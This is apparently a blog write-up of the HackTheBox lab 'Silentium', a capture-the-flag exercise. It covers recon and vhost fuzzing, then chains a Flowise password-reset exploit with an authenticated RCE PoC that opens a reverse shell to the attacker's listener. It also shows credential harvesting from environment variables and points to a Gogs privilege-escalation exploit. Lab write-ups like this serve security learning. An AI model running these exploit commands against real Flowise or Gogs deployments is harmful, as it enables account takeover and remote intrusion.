Post cover image
Running script to gain a shell

September 13, 2026

HackTheBox: Silentium Writeup

This lab is easy, but requires a sharp mindset to realize the difference between normal and abnormal responses from a web. Like the…

By PhongTapCode

3 min read

This lab is easy, but requires a sharp mindset to realize the difference between normal and abnormal responses from a web. Like the previous approach, I will just explain how to brainstorm to address the problem rather than provide results. Let's go !!!!

Machine information

  • Target IP: 10.129.41.165 (Depend on your own)
  • OS: Linux
  • Difficulty: Easy
  • Targets: Read user.txt and root.txt

1. Reconnaissance & VHost Fuzzing

Starting off with a full TCP port scan using nmap . This is nearly the first step in all labs. The approach will help you gain inital vectors to exploit the lab.

nmap -p- -A -T5 10.129.41.165

Key Findings:

  • 22/tcp open — OpenSSH 9.6p1
  • 80/tcp open — nginx 1.24.0 (redirects to [http://silentium.htb/](http://silentium.htb/))

The web server redirects to silentium.htb, so we append it to /etc/hosts . This step helps your machine understand how to resolve the domain (acts like DNS)

echo "10.129.41.165 silentium.htb" | sudo tee -a /etc/hosts

Browsing the main site did not reveal much, so the next step was virtual host fuzzing using gobuster .

gobuster vhost -u http://silentium.htb -w /usr/share/wordlists/dirb/common.txt --append-domain

Among the responses, one valid virtual host stood out:

  • staging.silentium.htb (Status: 200)

Update /etc/hosts to map the newly discovered subdomain:

sudo sed -i 's/silentium.htb/silentium.htb staging.silentium.htb/' /etc/hosts

2. Initial Foothold: Flowise Exploit Chain

Navigating to [http://staging.silentium.htb](http://staging.silentium.htb) lands on a Flowise deployment

None

A quick vulnerability search for Flowise points to CVE-2025–59528, an authenticated Remote Code Execution vulnerability https://github.com/r3nsi15/Flowise-RCE-CVE-2025-59528. However, this exploit requires valid credentials. So, the mindset here is to find a way to create and login or bypass the login function.

Remember to the main page, we found many users that could be relevant to test. After trying, you can easily find noticeable behavioral differences compared to standard default accounts:

None None

I continue research and find known vulnerabilities reveals CVE-2025–58434, an arbitrary password reset vulnerability that only requires knowledge of the username: https://github.com/vincent-vbg/CVE-2025-58434-PoC.

Running the PoC to reset the password for ben:

python3 exploit.py --url http://staging.silentium.htb --user ben --password YourNewPassword123

With the password reset successful, we can log in to the Flowise dashboard as ben. Yesss, at this time, the CVE that we found the first time can be used now (You can also check the version in the setting to make sure this app is vulnerable).

Now armed with valid credentials, we trigger the authenticated RCE PoC:

git clone https://github.com/r3nsi15/Flowise-RCE-CVE-2025-59528
cd Flowise-RCE-CVE-2025-59528
python3 exploit.py -u http://staging.silentium.htb -l ben -p YourNewPassword123 --ip <TUN0_IP> --port 9001

Catching the connection on our netcat listener grants the initial foothold shell.

None

3. Lateral Movement: User Flag

Once on the target machine, enumerating environment variables reveals stored secrets:

env

The output contains two passwords. Testing the second password against SSH for user ben :

ssh ben@silentium.htb

Authentication succeeds, granting direct SSH access to claim the user flag:

cat user.txt

4. Privilege Escalation: Exploiting Internal Gogs (CVE-2025–8110)

Checking listening sockets locally using ss:

ss -tulpn
Netid  State   Recv-Q  Send-Q   Local Address:Port    Peer Address:Port
tcp    LISTEN  0       4096         127.0.0.1:3000         0.0.0.0:*
tcp    LISTEN  0       4096         127.0.0.1:3001         0.0.0.0:*
tcp    LISTEN  0       4096         127.0.0.1:1025         0.0.0.0:*
tcp    LISTEN  0       4096         127.0.0.1:8025         0.0.0.0:*

Probing internal endpoints with curl -I:

curl -I http://127.0.0.1:3001

Port 3001 returns headers indicating a web application. We can tunnel this port back to our attacker machine via SSH Local Port Forwarding:

ssh -L 3001:127.0.0.1:3001 ben@silentium.htb

Opening http://localhost:3001 in the browser reveals an instance of Gogs

Enumeration & Exploitation

Searching for local configuration files via find didn't produce sensitive keys. Honestly, I feel tired and want to read writeup, but this lab is not retired at this time =(((

Fortunately, when I search Google, I realize that I could check the version of it to make sure that I will not find a rabbit hole. Yes, I am happy now and have more motivations to continue =)))

I also realize that I could register an account. So, why not do it to explore the inside an app ?

After registering an account and checking the version string displayed in the footer points directly to CVE-2025-8110, an exploit leading to privilege escalation: https://github.com/Ghxstsec/CVE-2025-8110.

Note:_ Always inspect the exploit script source before execution to adjust the target host, port, credentials, and payload command accordingly. You need to read and understand what's the code does. I just provide a step, let's pwn it by yourselves to enjoy it !!!_

Note from me:

I wrote many writeups, if you feel the approach joyful, you can read more at: https://medium.com/@PhongTapCode

Connect to me: https://www.linkedin.com/in/phong-duong-nguyen-832790304/

My github: https://github.com/PhongNoCode